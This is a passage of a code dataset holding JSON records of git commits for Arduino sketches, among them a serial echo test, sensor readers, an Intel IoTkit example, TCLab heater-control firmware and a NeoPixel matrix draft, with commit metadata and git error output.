program.\n","repos":"m3ftah\/usb-serial-for-android,interestinghua\/usb-serial-for-android,mik3y\/usb-serial-for-android,jomolinare\/usb-serial-for-android,zack1007x2\/usb-serial-for-android,leohyang\/usb-serial-for-android,dgcrouse\/usb-serial-for-android,gibsjose\/RFCxSentinel,DroidPlanner\/usb-serial-for-android,mik3y\/usb-serial-for-android,bkcheung\/usb-serial-for-android,brandonsladek\/tango-serial-to-ridgesoft-bot,mik3y\/usb-serial-for-android,rodolfo3\/android-vusb-arduino,andreasb242\/usb-serial-for-android","old_file":"arduino\/serial_test.ino","new_file":"arduino\/serial_test.ino","new_contents":"\/* Copyright 2012 Google Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n * USA.\n *\n * Project home page: http:\/\/code.google.com\/p\/usb-serial-for-android\/\n *\/\n\n\/\/ Sample Arduino sketch for use with usb-serial-for-android.\n\/\/ Prints an ever-increasing counter, and writes back anything\n\/\/ it receives.\n\nstatic int counter = 0;\nvoid setup() {\n Serial.begin(115200);\n}\n\nvoid loop() {\n Serial.print(\"Tick #\");\n Serial.print(counter++, DEC);\n Serial.print(\"\\n\");\n\n if (Serial.peek() != -1) {\n Serial.print(\"Read: \");\n do {\n Serial.print((char) Serial.read());\n } while (Serial.peek() != -1);\n Serial.print(\"\\n\");\n }\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/serial_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8587fd17852c8a71b285a558c1e15e5f1b09c24d","subject":"uploaded Exercise01_StartingPoint.ino","message":"uploaded Exercise01_StartingPoint.ino\n\n","repos":"dpengineering\/giffer-reborn,dpengineering\/giffer-reborn,dpengineering\/giffer-reborn","old_file":"exercises\/01\/Exercise01_StartingPoint\/Exercise01_StartingPoint.ino","new_file":"exercises\/01\/Exercise01_StartingPoint\/Exercise01_StartingPoint.ino","new_contents":"void setup()\n{\n pinMode(2, OUTPUT); \/\/ Enables pin 2 on the Arduino to Send enough power (current) \n \/\/ to turn on LED attached to pin 2}\n}\n\nvoid loop()\n{\n delay(5000); \/\/ wait 5000ms or 5 seconds before going to the next line\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'exercises\/01\/Exercise01_StartingPoint\/Exercise01_StartingPoint.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"629ecf8c614382a08c3ff4cc3ec96117558f591c","subject":"add rpinoTest Project","message":"add rpinoTest Project\n","repos":"oroca\/raspberrypi_projects,oroca\/raspberrypi_projects,oroca\/raspberrypi_projects,oroca\/raspberrypi_projects,oroca\/raspberrypi_projects","old_file":"rapinoTest\/temphumi.ino","new_file":"rapinoTest\/temphumi.ino","new_contents":"const int analogPin0 = A0; \nconst int analogPin1 = A1; \nconst float volt = 0.001074219; \n\nfloat RH = 0; \nfloat T1 = 0; \n\nvoid setup() {\n Serial.begin(57600); \n analogReference(INTERNAL); \n}\n\nvoid loop() {\n RH = analogRead(analogPin0); \n T1 = analogRead(analogPin1); \n\n RH = RH * volt * 100; \n T1 = (T1 * volt *200)-50;\n\n Serial.print(\"RH:\" );\n Serial.println(RH,2);\n Serial.print(\"T:\");\n Serial.println(T1,2);\n\n delay(2000); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rapinoTest\/temphumi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a868e75320859b7489312e42ffe17626c384ba8f","subject":"Add office IPs","message":"Add office IPs\n","repos":"lgramatikov\/celeste","old_file":"Celeste.ino","new_file":"Celeste.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1830f9a1a0d7d18d1e92ff79e748e9ac5e30ab88","subject":"Delete Lightning862OrangeAndBlue.ino","message":"Delete Lightning862OrangeAndBlue.ino\n\nchanged file structure","repos":"nolanpatrick\/spi_leds_862","old_file":"Lightning862OrangeAndBlue.ino","new_file":"Lightning862OrangeAndBlue.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nolanpatrick\/spi_leds_862.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f7ae8218d057923d50d036b588120ab09b803ec8","subject":"Russian comments","message":"Russian comments\n","repos":"intersystems-ru\/ArduinoSnippets","old_file":"Info_ru.ino","new_file":"Info_ru.ino","new_contents":"\/*\n * \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u0432\u043b\u0430\u0436\u043d\u043e\u0441\u0442\u044c, \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u0443 \u0438 \u044f\u0440\u043a\u043e\u0441\u0442\u044c\n * \u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043d\u0430 COM port\n * \u0424\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0432\u043e\u0434\u0430: H=1.0;T=1.0;LL=1;\n *\/\n\n\/\/\u041f\u0438\u043d \u0444\u043e\u0442\u043e\u0440\u0435\u0437\u0438\u0441\u0442\u043e\u0440\u0430 (\u0430\u043d\u0430\u043b\u043e\u0433\u043e\u0432\u044b\u0439)\nint lightPin = 0;\n\n\/\/ \u041f\u0438\u043d DHT-11 (\u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439)\nint DHpin = 8; \n\n\/\/ \u041c\u0430\u0441\u0441\u0438\u0432, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0439 \u0434\u0430\u043d\u043d\u044b\u0435 DHT-11\nbyte dat[5]; \n\n\/\/ \u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\nvoid setup()\n{\n\tSerial.begin(9600); \n\tpinMode(DHpin,OUTPUT); \n}\n\n \/*\n * \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 setup()\n * \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0446\u0438\u043a\u043b\n *\/\nvoid loop()\n{\n\tdelay(1000); \/\/ \u0417\u0430\u043c\u0435\u0440 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 1 \u0440\u0430\u0437 \u0432 \u0441\u0435\u043a\u0443\u043d\u0434\u0443\n\tint lightLevel = analogRead(lightPin); \/\/\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u0441\u0432\u0435\u0449\u0451\u043d\u043d\u043e\u0441\u0442\u0438 \n\n\ttemp_hum(); \/\/ \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u0443 \u0438 \u0432\u043b\u0430\u0436\u043d\u043e\u0441\u0442\u044c \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e dat\n\t\/\/ \u0418 \u0432\u044b\u0432\u043e\u0434\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\n\tSerial.print(\"H=\"); \n\tSerial.print(dat[0], DEC); \n\tSerial.print('.'); \n\tSerial.print(dat[1],DEC);\t\n\tSerial.print(\";T=\"); \n\tSerial.print(dat[2], DEC);\t\n\tSerial.print('.'); \n\tSerial.print(dat[3],DEC);\t \n\tSerial.print(\";LL=\"); \n\tSerial.print(lightLevel);\n\tSerial.println(\";\");\n}\n\n\/\/ \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0442 DHT-11 \u0432 dat\nvoid temp_hum() \n{ \n\tdigitalWrite(DHpin,LOW);\n\tdelay(30); \n\tdigitalWrite(DHpin,HIGH); \n\tdelayMicroseconds(40);\n\tpinMode(DHpin,INPUT);\n\twhile(digitalRead(DHpin) == HIGH);\n\tdelayMicroseconds(80);\n\tif(digitalRead(DHpin) == LOW); \n\tdelayMicroseconds(80);\n\tfor(int i=0;i<4;i++)\n\t{\n\t dat[i] = read_data();\n\t}\n\tpinMode(DHpin,OUTPUT);\n\tdigitalWrite(DHpin,HIGH);\n} \n\n\/\/ \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0447\u0430\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442 DHT-11\nbyte read_data() \n{\n\tbyte data; \n\tfor(int i=0; i<8; i++) \n\t{ \n\t\tif(digitalRead(DHpin) == LOW) \n\t\t{ \n\t\t\twhile(digitalRead(DHpin) == LOW); \n\t\t\tdelayMicroseconds(30);\n\t\t\tif(digitalRead(DHpin) == HIGH) \n\t\t\t{\n\t\t\t\tdata |= (1<<(7-i));\n\t\t\t}\n\t\t\twhile(digitalRead(DHpin) == HIGH); \n\t\t}\n\t} \n\treturn data; \n} ","old_contents":"","returncode":1,"stderr":"error: pathspec 'Info_ru.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6eef1ddbed7e1a2d7f63468a7010e35b997fc5ca","subject":"second try for leaderboard. saw ghost","message":"second try for leaderboard. saw ghost\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3519131f86d84e77d7081240ccae03b2135bd541","subject":"DP-4401 Created sketch to send measurement in response to actuation","message":"DP-4401 Created sketch to send measurement in response to actuation\n\nSigned-off-by: Marek Tomczewski <b8f517ce36d6e79015cc2772a688db5feb1db6a6@intel.com>\n\nDP-4401 Removed checking component name. Logging to Serial.\n\nSigned-off-by: Marek Tomczewski <b8f517ce36d6e79015cc2772a688db5feb1db6a6@intel.com>\n\nDP-4401 Changed sketch description.\n\nSigned-off-by: Marek Tomczewski <b8f517ce36d6e79015cc2772a688db5feb1db6a6@intel.com>\n","repos":"enableiot\/iotkit-samples,enableiot\/iotkit-samples,enableiot\/iotkit-samples,enableiot\/iotkit-samples","old_file":"arduino\/IoTkit\/examples\/IoTKitSendObservationInResponseToActuation\/IoTKitSendObservationInResponseToActuation.ino","new_file":"arduino\/IoTkit\/examples\/IoTKitSendObservationInResponseToActuation\/IoTKitSendObservationInResponseToActuation.ino","new_contents":"\/*\nCopyright (c) 2015, Intel Corporation\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n\/\/This example reacts for default actuator component if registered on device\n\/\/Prequisites:\n\/\/ 1. Device must be activated\n\/\/ 2. A component named \"power\" of actuator type with number data type\n\/\/This example sends back numeric value to an actuator when actuation is received\n\n#include <IoTkit.h> \/\/ include IoTkit.h to use the Intel IoT Kit\n#include <Ethernet.h> \/\/ must be included to use IoTkit\n#include <aJSON.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n\/\/ create an object of the IoTkit class\nIoTkit iotkit;\nint temp;\nchar buf[112];\n\nvoid setup() {\n Serial.begin(115200);\n \/\/ call begin on the IoTkit object before calling any other methods\n iotkit.begin();\n delay(10500);\n iotkit.send(\"power\", 1);\n}\n\nvoid loop() {\n iotkit.receive(callback);\n delay(5000);\n}\n\nvoid callback(char* json) {\n Serial.println(json);\n aJsonObject* parsed = aJson.parse(json);\n if (&parsed == NULL) {\n \/\/ invalid or empty JSON\n Serial.println(\"received invalid JSON\");\n return;\n }\n\n aJsonObject* component = aJson.getObjectItem(parsed, \"component\");\n aJsonObject* command = aJson.getObjectItem(parsed, \"command\");\n aJsonObject* argv = aJson.getObjectItem(parsed, \"argv\");\n aJsonObject* argvArray = argv->child;\n aJsonObject* name = argvArray->child; \/\/ name : on\n aJsonObject* value = name->next; \/\/ value: string\n\n if ((component != NULL)) { \n if ((command != NULL)) {\n Serial.println(\"Sending actuation value to cloud\");\n iotkit.send(\"power\", atoi(value->valuestring));\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/IoTkit\/examples\/IoTKitSendObservationInResponseToActuation\/IoTKitSendObservationInResponseToActuation.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"9fb71d5d906b264dc3f0da6f39593e7cdcf8542a","subject":"CheckFlashConfig.ino","message":"CheckFlashConfig.ino\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_22-CheckFlashConfig\/CheckFlashConfig.ino","new_file":"_22-CheckFlashConfig\/CheckFlashConfig.ino","new_contents":"\/* \n https:\/\/github.com\/esp8266\/Arduino\/blob\/master\/libraries\/esp8266\/examples\/CheckFlashConfig\/CheckFlashConfig.ino\n\n ESP8266 CheckFlashConfig by Markus Sattler\n \n This sketch tests if the EEPROM settings of the IDE match to the Hardware\n \n *\/\n\nvoid setup(void) {\n Serial.begin(115200);\n}\n\nvoid loop() {\n\n uint32_t realSize = ESP.getFlashChipRealSize();\n uint32_t ideSize = ESP.getFlashChipSize();\n FlashMode_t ideMode = ESP.getFlashChipMode();\n\n Serial.printf(\"Flash real id: %08X\\n\", ESP.getFlashChipId());\n Serial.printf(\"Flash real size: %u\\n\\n\", realSize);\n\n Serial.printf(\"Flash ide size: %u\\n\", ideSize);\n Serial.printf(\"Flash ide speed: %u\\n\", ESP.getFlashChipSpeed());\n Serial.printf(\"Flash ide mode: %s\\n\", (ideMode == FM_QIO ? \"QIO\" : ideMode == FM_QOUT ? \"QOUT\" : ideMode == FM_DIO ? \"DIO\" : ideMode == FM_DOUT ? \"DOUT\" : \"UNKNOWN\"));\n\n if(ideSize != realSize) {\n Serial.println(\"Flash Chip configuration wrong!\\n\");\n } else {\n Serial.println(\"Flash Chip configuration ok.\\n\");\n }\n\n delay(5000);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec '_22-CheckFlashConfig\/CheckFlashConfig.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"81309af2c9fe16b274afd5c4aec9eb549c70df0c","subject":"A\u00f1adido proyecto b\u00e1sico de Arduino","message":"A\u00f1adido proyecto b\u00e1sico de Arduino\n","repos":"jalcaldea\/Empotrados","old_file":"proyecto\/proyecto.ino","new_file":"proyecto\/proyecto.ino","new_contents":"\/*\n Empotrados\n Prctica de empotrados\n \n Modulo principal de la aplicacion\n del juego de mesa con Arduino\n\n by:\n - Jesus Alcalde\n - Adrian Gutierrez\n - Javier Jimenez\n *\/\n\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n \n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'proyecto\/proyecto.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0027d9165863b54ae7566da5251f118983dfa2b9","subject":"Firmare for Arduino Leonardo","message":"Firmare for Arduino Leonardo","repos":"APMonitor\/arduino,APMonitor\/arduino,APMonitor\/arduino","old_file":"0_Test_Device\/Python\/tclab2\/tclab2.ino","new_file":"0_Test_Device\/Python\/tclab2\/tclab2.ino","new_contents":"\/*\r\n TCLab Temperature Control Lab Firmware\r\n Jeffrey Kantor\r\n February, 2019\r\n\r\n This firmware provides a high level interface to the Temperature Control Lab. The\r\n firmware scans the serial port for commands. Commands are case-insensitive. Any\r\n unrecognized command results in sleep model. Each command returns a result string.\r\n\r\n A software restart. Returns \"Start\".\r\n LED float set LED to float for 10 sec. range 0 to 100. Returns actual float\r\n P1 float set pwm limit on heater 1, range 0 to 255. Default 200. Returns P1.\r\n P2 float set pwm limit on heater 2, range 0 to 255. Default 100. Returns P2.\r\n Q1 float set Heater 1, range 0 to 100. Returns value of Q1.\r\n Q2 float set Heater 2, range 0 to 100. Returns value of Q2.\r\n R1 get value of Heater 1, range 0 to 100\r\n R2 get value of Heater 2, range 0 to 100\r\n SCAN get values T1 T2 Q1 Q1 in line delimited values\r\n T1 get Temperature T1. Returns value of T1 in \u00b0C.\r\n T2 get Temperature T2. Returns value of T2 in \u00b0C.\r\n VER get firmware version string\r\n X stop, enter sleep mode. Returns \"Stop\"\r\n\r\n Limits on the heater can be configured with the constants below.\r\n\r\n Status is indicated by LED1 on the Temperature Control Lab. Status conditions are:\r\n\r\n LED1 LED1\r\n Brightness State\r\n ---------- -----\r\n dim steady Normal operation, heaters off\r\n bright steady Normal operation, heaters on\r\n dim blinking High temperature alarm on, heaters off\r\n bright blinking High temperature alarm on, heaters on\r\n\r\n The Temperature Control Lab shuts down the heaters if it receives no host commands\r\n during a timeout period (configure below), receives an \"X\" command, or receives\r\n an unrecognized command from the host.\r\n\r\n The constants can be used to configure the firmware.\r\n\r\n Version History\r\n 1.0.1 first version included in the tclab package\r\n 1.1.0 added R1 and R2 commands to read current heater values\r\n modified heater values to units of percent of full power\r\n added P1 and P2 commands to set heater power limits\r\n rewrote readCommand to avoid busy states\r\n simplified LED status model\r\n 1.2.0 added LED command\r\n 1.2.1 correctly reset heater values on close\r\n added version history\r\n 1.2.2 shorten version string for better display by TCLab\r\n 1.2.3 move baudrate to from 9600 to 115200\r\n 1.3.0 add SCAN function\r\n report board type in version string\r\n 1.4.0 changed Q1 and Q2 to float from int\r\n 1.4.1 fix missing Serial.flush() at end of command loop\r\n 1.4.2 fix bug with X command\r\n 1.4.3 required Arduino IDE Version >= 1.0.0\r\n 1.5.0 remove webusb\r\n*\/\r\n\r\n#include \"Arduino.h\"\r\n\r\n\/\/ determine board type\r\n#if defined(__AVR_ATmega328P__) || defined(__AVR_ATmega168__)\r\n String boardType = \"Arduino Uno\";\r\n#elif defined(__AVR_ATmega32U4__) || defined(__AVR_ATmega16U4__)\r\n String boardType = \"Arduino Leonardo\/Micro\";\r\n#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\r\n String boardType = \"Arduino Mega\";\r\n#else \r\n String boardType = \"Unknown board\";\r\n#endif\r\n\r\n\/\/ Enable debugging output\r\nconst bool DEBUG = false;\r\n\r\n\/\/ constants\r\nconst String vers = \"1.4.3\"; \/\/ version of this firmware\r\nconst long baud = 115200; \/\/ serial baud rate\r\nconst char sp = ' '; \/\/ command separator\r\nconst char nl = '\\n'; \/\/ command terminator\r\n\r\n\/\/ pin numbers corresponding to signals on the TC Lab Shield\r\nconst int pinT1 = 0; \/\/ T1\r\nconst int pinT2 = 2; \/\/ T2\r\nconst int pinQ1 = 3; \/\/ Q1\r\nconst int pinQ2 = 5; \/\/ Q2\r\nconst int pinLED1 = 9; \/\/ LED1\r\n\r\n\/\/ temperature alarm limits\r\nconst int limT1 = 50; \/\/ T1 high alarm (\u00b0C)\r\nconst int limT2 = 50; \/\/ T2 high alarm (\u00b0C)\r\n\r\n\/\/ LED1 levels\r\nconst int hiLED = 60; \/\/ hi LED\r\nconst int loLED = hiLED\/16; \/\/ lo LED\r\n\r\n\/\/ global variables\r\nchar Buffer[64]; \/\/ buffer for parsing serial input\r\nint buffer_index = 0; \/\/ index for Buffer\r\nString cmd; \/\/ command\r\nfloat val; \/\/ command value\r\nint ledStatus; \/\/ 1: loLED\r\n \/\/ 2: hiLED\r\n \/\/ 3: loLED blink\r\n \/\/ 4: hiLED blink\r\nlong ledTimeout = 0; \/\/ when to return LED to normal operation\r\nfloat LED = 100; \/\/ LED override brightness\r\nfloat P1 = 200; \/\/ heater 1 power limit in units of pwm. Range 0 to 255\r\nfloat P2 = 100; \/\/ heater 2 power limit in units in pwm, range 0 to 255\r\nfloat Q1 = 0; \/\/ last value written to heater 1 in units of percent\r\nfloat Q2 = 0; \/\/ last value written to heater 2 in units of percent\r\nint alarmStatus; \/\/ hi temperature alarm status\r\nboolean newData = false; \/\/ boolean flag indicating new command\r\n\r\n\r\nvoid readCommand() {\r\n while (Serial && (Serial.available() > 0) && (newData == false)) {\r\n int byte = Serial.read();\r\n if ((byte != '\\r') && (byte != nl) && (buffer_index < 64)) {\r\n Buffer[buffer_index] = byte;\r\n buffer_index++;\r\n }\r\n else {\r\n newData = true;\r\n }\r\n } \r\n}\r\n\r\n\/\/ for debugging with the serial monitor in Arduino IDE\r\nvoid echoCommand() {\r\n if (newData) {\r\n Serial.write(\"Received Command: \");\r\n Serial.write(Buffer, buffer_index);\r\n Serial.write(nl);\r\n Serial.flush();\r\n }\r\n}\r\n\r\n\/\/ return thermister temperature in \u00b0C\r\ninline float readTemperature(int pin) {\r\n return analogRead(pin) * 0.3223 - 50.0;\r\n}\r\n\r\nvoid parseCommand(void) {\r\n if (newData) {\r\n String read_ = String(Buffer);\r\n\r\n \/\/ separate command from associated data\r\n int idx = read_.indexOf(sp);\r\n cmd = read_.substring(0, idx);\r\n cmd.trim();\r\n cmd.toUpperCase();\r\n\r\n \/\/ extract data. toFloat() returns 0 on error\r\n String data = read_.substring(idx + 1);\r\n data.trim();\r\n val = data.toFloat();\r\n\r\n \/\/ reset parameter for next command\r\n memset(Buffer, 0, sizeof(Buffer));\r\n buffer_index = 0;\r\n newData = false;\r\n }\r\n}\r\n\r\nvoid sendResponse(String msg) {\r\n Serial.println(msg);\r\n}\r\n\r\nvoid dispatchCommand(void) {\r\n if (cmd == \"A\") {\r\n setHeater1(0);\r\n setHeater2(0);\r\n sendResponse(\"Start\");\r\n }\r\n else if (cmd == \"LED\") {\r\n ledTimeout = millis() + 10000;\r\n LED = max(0, min(100, val));\r\n sendResponse(String(LED));\r\n }\r\n else if (cmd == \"P1\") {\r\n P1 = max(0, min(255, val));\r\n sendResponse(String(P1));\r\n }\r\n else if (cmd == \"P2\") {\r\n P2 = max(0, min(255, val));\r\n sendResponse(String(P2));\r\n }\r\n else if (cmd == \"Q1\") {\r\n setHeater1(val);\r\n sendResponse(String(Q1));\r\n }\r\n else if (cmd == \"Q2\") {\r\n setHeater2(val);\r\n sendResponse(String(Q2));\r\n }\r\n else if (cmd == \"R1\") {\r\n sendResponse(String(Q1));\r\n }\r\n else if (cmd == \"R2\") {\r\n sendResponse(String(Q2));\r\n }\r\n else if (cmd == \"SCAN\") {\r\n sendResponse(String(readTemperature(pinT1)));\r\n sendResponse(String(readTemperature(pinT2)));\r\n sendResponse(String(Q1));\r\n sendResponse(String(Q2));\r\n }\r\n else if (cmd == \"T1\") {\r\n sendResponse(String(readTemperature(pinT1)));\r\n }\r\n else if (cmd == \"T2\") {\r\n sendResponse(String(readTemperature(pinT2)));\r\n }\r\n else if (cmd == \"VER\") {\r\n sendResponse(\"TCLab Firmware \" + vers + \" \" + boardType);\r\n }\r\n else if (cmd == \"X\") {\r\n setHeater1(0);\r\n setHeater2(0);\r\n sendResponse(\"Stop\");\r\n }\r\n else if (cmd.length() > 0) {\r\n setHeater1(0);\r\n setHeater2(0);\r\n sendResponse(cmd);\r\n }\r\n Serial.flush();\r\n cmd = \"\";\r\n}\r\n\r\nvoid checkAlarm(void) {\r\n if ((readTemperature(pinT1) > limT1) or (readTemperature(pinT2) > limT2)) {\r\n alarmStatus = 1;\r\n }\r\n else {\r\n alarmStatus = 0;\r\n }\r\n}\r\n\r\nvoid updateStatus(void) {\r\n \/\/ determine led status\r\n ledStatus = 1;\r\n if ((Q1 > 0) or (Q2 > 0)) {\r\n ledStatus = 2;\r\n }\r\n if (alarmStatus > 0) {\r\n ledStatus += 2;\r\n }\r\n \/\/ update led depending on ledStatus\r\n if (millis() < ledTimeout) { \/\/ override led operation\r\n analogWrite(pinLED1, LED);\r\n }\r\n else {\r\n switch (ledStatus) {\r\n case 1: \/\/ normal operation, heaters off\r\n analogWrite(pinLED1, loLED);\r\n break;\r\n case 2: \/\/ normal operation, heater on\r\n analogWrite(pinLED1, hiLED);\r\n break;\r\n case 3: \/\/ high temperature alarm, heater off\r\n if ((millis() % 2000) > 1000) {\r\n analogWrite(pinLED1, loLED);\r\n } else {\r\n analogWrite(pinLED1, loLED\/4);\r\n }\r\n break;\r\n case 4: \/\/ high temperature alarm, heater on\r\n if ((millis() % 2000) > 1000) {\r\n analogWrite(pinLED1, hiLED);\r\n } else {\r\n analogWrite(pinLED1, loLED);\r\n }\r\n break;\r\n } \r\n }\r\n}\r\n\r\n\/\/ set Heater 1\r\nvoid setHeater1(float qval) {\r\n Q1 = max(0., min(qval, 100.));\r\n analogWrite(pinQ1, (Q1*P1)\/100);\r\n}\r\n\r\n\/\/ set Heater 2\r\nvoid setHeater2(float qval) {\r\n Q2 = max(0., min(qval, 100.));\r\n analogWrite(pinQ2, (Q2*P2)\/100);\r\n}\r\n\r\n\/\/ arduino startup\r\nvoid setup() {\r\n analogReference(EXTERNAL);\r\n while (!Serial) {\r\n ; \/\/ wait for serial port to connect.\r\n }\r\n Serial.begin(baud);\r\n Serial.flush();\r\n setHeater1(0);\r\n setHeater2(0);\r\n ledTimeout = millis() + 1000;\r\n}\r\n\r\n\/\/ arduino main event loop\r\nvoid loop() {\r\n readCommand();\r\n if (DEBUG) echoCommand();\r\n parseCommand();\r\n dispatchCommand();\r\n checkAlarm();\r\n updateStatus();\r\n}","old_contents":"","returncode":1,"stderr":"error: pathspec '0_Test_Device\/Python\/tclab2\/tclab2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a63da581c8415589b65a5da46cfab28ec803d50b","subject":"Add the first draft of the code before review and rework","message":"Add the first draft of the code before review and rework\n","repos":"borq79\/cs.edu,borq79\/cs.edu","old_file":"projects\/arduino\/led_matrix_256\/led_matrix_256.ino","new_file":"projects\/arduino\/led_matrix_256\/led_matrix_256.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n #include \"IRremote.h\" \/\/Remote control library\n#endif\n\n#define PIN 4\n\nint receiver = 12; \/\/ Signal Pin of IR receiver to Arduino Digital Pin 12\n\nIRrecv irrecv(receiver); \/\/ create instance of 'irrecv'\ndecode_results results; \/\/ create instance of 'decode_results'\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(256, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/int sensorPin = A5; \/\/ select the input pin for the potentiometer\n\/\/int sensorValue = 0; \/\/ variable to store the value coming from the sensor\n\n int frame;\n int j;\n uint32_t i;\n uint32_t d=0; \n uint32_t b=pow(2,7); \n uint32_t g=pow(2,15); \n uint32_t r=pow(2,23);\n uint32_t p=b+r;\n uint32_t y=g+r;\n uint32_t a=b+g;\n uint32_t w=b+g+r;\n\n\nvoid setup() {\n \/\/ This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket\n #if defined (__AVR_ATtiny85__)\n if (F_CPU == 16000000) clock_prescale_set(clock_div_1);\n #endif\n \/\/ End of trinket special code\n \n irrecv.enableIRIn(); \/\/ Start the remote control receiver\n\n Serial.begin(9600); \/\/ setup serial printing so you can troubleshoot\n \/\/Serial.print(\"i=\"); \/\/Print something to serial terminal for viewing\n \/\/Serial.print(i);\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n\n}\n\nvoid loop() {\n\n \/\/colorWipe(strip.Color(255, 0, 0), 10); 